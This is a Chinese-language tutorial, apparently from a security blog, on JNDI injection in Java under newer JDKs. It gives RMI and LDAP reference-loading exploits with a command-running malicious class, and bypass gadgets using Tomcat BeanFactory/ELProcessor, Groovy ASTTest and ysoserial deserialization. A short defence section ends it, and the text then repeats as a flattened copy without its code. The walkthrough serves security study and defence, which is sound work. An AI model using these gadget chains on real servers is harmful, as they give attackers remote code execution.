高版本JDK下的JNDI注入浅析
字数 1571 2025-08-24 23:51:21

高版本JDK下的JNDI注入分析与绕过技术

1. JNDI注入基础概念

JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。攻击者可以利用JNDI的查找功能实现远程代码执行。

2. JNDI-RMI注入分析

2.1 基本流程

  1. RMI服务端代码
Registry registry = LocateRegistry.createRegistry(4396);
Reference reference = new Reference("Test", "Test", "http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
  1. 恶意类
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 客户端触发
new InitialContext().lookup("rmi://127.0.0.1:4396/calc");

2.2 执行流程分析

  1. 客户端调用InitialContext().lookup()
  2. 通过getURLOrDefaultInitCtx()初始化默认上下文
  3. rmiURLContext#getRootURLContext()处理jndiname并进行特殊字符检测
  4. 委托Stub去注册中心(Registry)寻找对象
  5. NamingManager#getObjectInstance()获取Factory
  6. getObjectFactoryFromReference()尝试从本地或远程加载类
  7. 通过URLClassLoader加载类并实例化

2.3 触发点位

以下方式写的恶意代码都会触发:

  • 方法块: {}
  • 静态代码块: static {}
  • 无参构造方法
  • getObjectInstance()

2.4 版本限制

JDK 6u141、7u131、8u121及以后版本默认将com.sun.jndi.rmi.object.trustURLCodebase设置为false,禁止从远程codebase加载类。

3. JNDI-LDAP注入分析

3.1 基本流程

  1. LDAP服务端
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://127.0.0.1/#Test")));
  1. 客户端触发
new InitialContext().lookup("ldap://127.0.0.1:7777/calc");

3.2 版本限制

JDK 11.0.1、8u191、7u201、6u211后默认将com.sun.jndi.ldap.object.trustURLCodebase设置为false。

4. JNDI注入绕过技术

4.1 利用本地Class作为Reference Factory

4.1.1 Tomcat8绕过

原理
利用Tomcat依赖中的org.apache.naming.factory.BeanFactory,该类满足:

  1. 实现javax.naming.spi.ObjectFactory接口
  2. 包含getObjectInstance()方法

利用代码

ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));

依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.lucee</groupId>
    <artifactId>javax.el</artifactId>
    <version>3.0.0</version>
</dependency>

4.1.2 Groovy绕过

原理
利用Groovy的AST转换功能,通过GroovyClassLoader#parseClass执行命令。

利用代码

ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n";
resourceRef.add(new StringRefAddr("x", String.format(script, "open -a Calculator.app")));

依赖

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.5</version>
</dependency>

4.2 利用服务器反序列化Gadget

原理
LDAP可以返回序列化数据,当javaSerializedData属性不为空时,客户端会对其进行反序列化。

实现步骤

  1. 使用ysoserial生成恶意对象并base64编码:
java -jar ysoserial.jar CommonsCollections6 "open -a Calculator.app"|base64
  1. LDAP服务端设置javaSerializedData属性:
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABF..."));

5. 工具推荐

6. 防御措施

  1. 升级JDK到最新安全版本
  2. 设置系统属性限制JNDI访问:
    • com.sun.jndi.rmi.object.trustURLCodebase=false
    • com.sun.jndi.cosnaming.object.trustURLCodebase=false
    • com.sun.jndi.ldap.object.trustURLCodebase=false
  3. 避免使用不可信的JNDI查找

7. 参考资源

  1. Oracle JDK 8u121 Release Notes
  2. Exploiting JNDI Injections in Java
  3. JNDI Manipulations RCE Restrictions and Bypass
高版本JDK下的JNDI注入分析与绕过技术 1. JNDI注入基础概念 JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。攻击者可以利用JNDI的查找功能实现远程代码执行。 2. JNDI-RMI注入分析 2.1 基本流程 RMI服务端代码 : 恶意类 : 客户端触发 : 2.2 执行流程分析 客户端调用 InitialContext().lookup() 通过 getURLOrDefaultInitCtx() 初始化默认上下文 rmiURLContext#getRootURLContext() 处理jndiname并进行特殊字符检测 委托Stub去注册中心(Registry)寻找对象 NamingManager#getObjectInstance() 获取Factory getObjectFactoryFromReference() 尝试从本地或远程加载类 通过 URLClassLoader 加载类并实例化 2.3 触发点位 以下方式写的恶意代码都会触发: 方法块: {} 静态代码块: static {} 无参构造方法 getObjectInstance() 2.4 版本限制 JDK 6u141、7u131、8u121及以后版本默认将 com.sun.jndi.rmi.object.trustURLCodebase 设置为false,禁止从远程codebase加载类。 3. JNDI-LDAP注入分析 3.1 基本流程 LDAP服务端 : 客户端触发 : 3.2 版本限制 JDK 11.0.1、8u191、7u201、6u211后默认将 com.sun.jndi.ldap.object.trustURLCodebase 设置为false。 4. JNDI注入绕过技术 4.1 利用本地Class作为Reference Factory 4.1.1 Tomcat8绕过 原理 : 利用Tomcat依赖中的 org.apache.naming.factory.BeanFactory ,该类满足: 实现 javax.naming.spi.ObjectFactory 接口 包含 getObjectInstance() 方法 利用代码 : 依赖 : 4.1.2 Groovy绕过 原理 : 利用Groovy的AST转换功能,通过 GroovyClassLoader#parseClass 执行命令。 利用代码 : 依赖 : 4.2 利用服务器反序列化Gadget 原理 : LDAP可以返回序列化数据,当 javaSerializedData 属性不为空时,客户端会对其进行反序列化。 实现步骤 : 使用ysoserial生成恶意对象并base64编码: LDAP服务端设置 javaSerializedData 属性: 5. 工具推荐 JNDIExploit - 提供多种JNDI注入利用方式 6. 防御措施 升级JDK到最新安全版本 设置系统属性限制JNDI访问: com.sun.jndi.rmi.object.trustURLCodebase=false com.sun.jndi.cosnaming.object.trustURLCodebase=false com.sun.jndi.ldap.object.trustURLCodebase=false 避免使用不可信的JNDI查找 7. 参考资源 Oracle JDK 8u121 Release Notes Exploiting JNDI Injections in Java JNDI Manipulations RCE Restrictions and Bypass